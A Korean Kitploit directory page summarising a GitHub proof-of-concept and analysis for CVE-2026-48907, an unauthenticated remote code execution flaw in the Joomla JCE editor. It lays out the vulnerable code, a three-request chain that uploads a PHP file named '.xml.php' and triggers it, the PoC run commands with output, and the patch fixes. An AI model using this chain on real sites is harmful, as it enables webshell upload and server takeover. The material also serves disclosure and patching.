Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-48907 — Joomla 콘텐츠 편집기(JCE)의 CVSS 10.0 사전 인증 원격 코드 실행 취약점인 CVE-2026-48907에 대한 개념 증명 익스플로잇 및 기술 분석입니다. 3-요청 공격 체인과 상세한 패치 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/grayxploit/cve-2026-48907
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

Joomla 콘텐츠 편집기(JCE)의 CVSS 10.0 사전 인증 원격 코드 실행 취약점인 CVE-2026-48907에 대한 개념 증명 익스플로잇 및 기술 분석입니다. 3-요청 공격 체인과 상세한 패치 분석을 포함합니다.

저장소 보기
223개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-48907 — Joomla Content Editor (JCE) ≤ 2.9.99.4에서의 인증되지 않은 RCE

CVE-2026-48907에 대한 개념 증명 익스플로잇 — Joomla Content Editor (JCE) 확장의 CVSS 10.0 사전 인증 원격 코드 실행 취약점입니다.
연구: Grayxploit Security Team

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

목차

  • 개요
  • 영향받는 버전
  • 취약점 세부 사항
  • 공격 흐름
  • 개념 증명
  • 패치 분석
  • 해결 방법
  • 타임라인
  • 참고 자료
  • 면책 조항

개요

CVE-2026-48907은 가장 널리 설치된 Joomla 편집기인 Joomla Content Editor (JCE) 확장의 2.9.99.4까지 모든 버전에 영향을 미치는 심각한 인증되지 않은 원격 코드 실행 (RCE) 취약점입니다.

JCE 프로필 가져오기 워크플로에서 세 가지 독립적인 보안 취약점을 연쇄적으로 연결함으로써 완전히 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  • 서버의 /tmp/ 디렉토리에 임의의 PHP 웹쉘 업로드
  • HTTP를 통해 해당 웹쉘 실행 트리거
  • 자격 증명 없이, 사용자 상호 작용 없이, 특별한 네트워크 위치 없이 완전한 원격 코드 실행 (RCE) 달성

해당 공격은 단 3개의 HTTP 요청만 필요하며, 취약한 JCE 버전을 실행하는 모든 기본 Joomla 설치에서 작동합니다.

CVSS v4 점수: 10.0 — 심각

책임 있는 공개 절차에 따라 Grayxploit 보안 연구 팀이 발견하여 공개했습니다.


영향받는 버전

소프트웨어취약한 버전패치된 버전
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (권장)

참고: 2.9.99.5에서 핵심 수정이 도입되었습니다. 2.9.99.6에서 추가적인 강화 계층이 추가되었습니다. 2.9.99.6 이상으로 업그레이드하세요.


취약점 세부 사항

취약점은 JCE 프로필 가져오기 엔드포인트에서 발생합니다:

POST /index.php?option=com_jce&task=profiles.import

JCE는 관리자가 편집기 프로필을 XML 파일로 내보내고 가져올 수 있도록 합니다. 가져오기 핸들러는 인증 없이 접근 가능하며, 세 가지 독립적인 약점의 연쇄로 인해 임의 파일 업로드를 허용합니다.

약점 1 — 인증 누락 (CWE-862)

가져오기 컨트롤러는 ACL 검사를 수행하지 않았습니다:

public function import()
{
    // 유일한 관문: CSRF 토큰 — 쉽게 우회 가능
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … 바로 파일 처리로 넘어감 — authorise() 검사 없음
}

Joomla는 CSRF 토큰을 모든 공개 페이지에 메타 태그 또는 JS 변수로 포함시킵니다:

<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

공격자는 단순히 홈페이지를 가져와 토큰을 추출하고 재사용합니다. CSRF 검사는 사이트 간 요청을 방지할 뿐, 직접적인 스크립트 요청을 막지는 않습니다. 가져오기 경로 어디에서도 Factory::getUser() 또는 $user->authorise(...) 호출이 없었습니다.


약점 2 — 파일 확장자 검증 없음 (CWE-434)

업로드 핸들러는 File::makeSafe()를 사용했지만, 이 함수는 불법 파일 시스템 문자만 제거할 뿐 파일 확장자를 검증하거나 제한하지 않습니다:

$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // 불법 문자만 제거

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

shell.xml.php와 같은 파일 이름은 File::makeSafe()를 그대로 통과합니다. Apache의 mod_php는 마지막으로 인식된 확장자가 .php이므로 이를 실행합니다. .php, .php5, .phtml 및 이중 확장 변형이 모두 허용되었습니다.


약점 3 — $allow_unsafe = true로 File::upload() 호출 (CWE-116)

Joomla의 File::upload()는 $allow_unsafe = false(기본값)일 때 위험한 파일 형식을 차단하는 내장 확장자 블랙리스트가 있습니다:

// Joomla File::upload() 서명
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

취약한 JCE 코드는 이 안전 장치를 명시적으로 비활성화했습니다:

// 취약 — 안전하지 않은 업로드가 명시적으로 허용됨
File::upload($source, $destination, false, true);

이 단일 부울 값이 Joomla의 전체 내부 확장자 블랙리스트를 꺼서 .php, .php5, .phtml 및 기타 모든 실행 가능한 확장자가 디스크에 기록되도록 했습니다.


공격 흐름

┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← HTML/JS에서 csrf_token 추출                               │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (파일이 /var/www/html/tmp/에 기록됨)               │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← 응답: "3105"  (45 × 69 = RCE 확인 ✓)                      │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  세션 쿠키 없음. 사용자 이름 없음. 비밀번호 없음. HTTP 요청 3개.

개념 증명

⚠️ 이 PoC는 승인된 보안 연구 및 침투 테스트를 위해 엄격히 제공됩니다. 명시적인 서면 허가 없이 어떤 시스템에도 사용하지 마십시오. 무단 사용은 불법이며 비윤리적입니다.

요구 사항

pip3 install requests

사용법

git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

예상 출력 (취약한 대상)

[] Target : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...

[+] CSRF token: abcdef1234567890abcdef1234567890

[] Step 2 — Uploading payload...

[+] Upload response: HTTP 200

[*] Step 3 — Triggering payload execution...

[+] Response: 3105

[CRITICAL] RCE CONFIRMED — CVE-2026-48907

Target http://localhost:9999 is VULNERABLE


패치 분석

세 가지 약점 모두 JCE 2.9.99.5에서 수정되었으며, 2.9.99.6에서 추가 강화가 제공되었습니다.

수정 1 — 인증 검사 추가 (CWE-862 해결)

controller/profiles.php:

$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

게스트 사용자(id = 0)는 authorise()를 즉시 실패합니다. 파일 처리가 발생하기 전에 요청이 거부됩니다.

수정 2 — 엄격한 확장자 허용 목록 (CWE-434 해결)

models/profile.php:

$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION은 마지막 확장자만 반환합니다. shell.xml.php → php → 거부됩니다. 모든 다중 확장자 우회를 무력화합니다.

수정 3 — 안전하지 않은 플래그 제거 (CWE-116 해결)

// 이전 (취약)
File::upload($source, $destination, false, true);

// 이후 (패치됨)
File::upload($source, $destination, false);

Joomla의 내부 확장자 블랙리스트가 독립적인 방어 계층으로 다시 활성화됩니다.

2.9.99.6의 추가 강화

도구 다운로드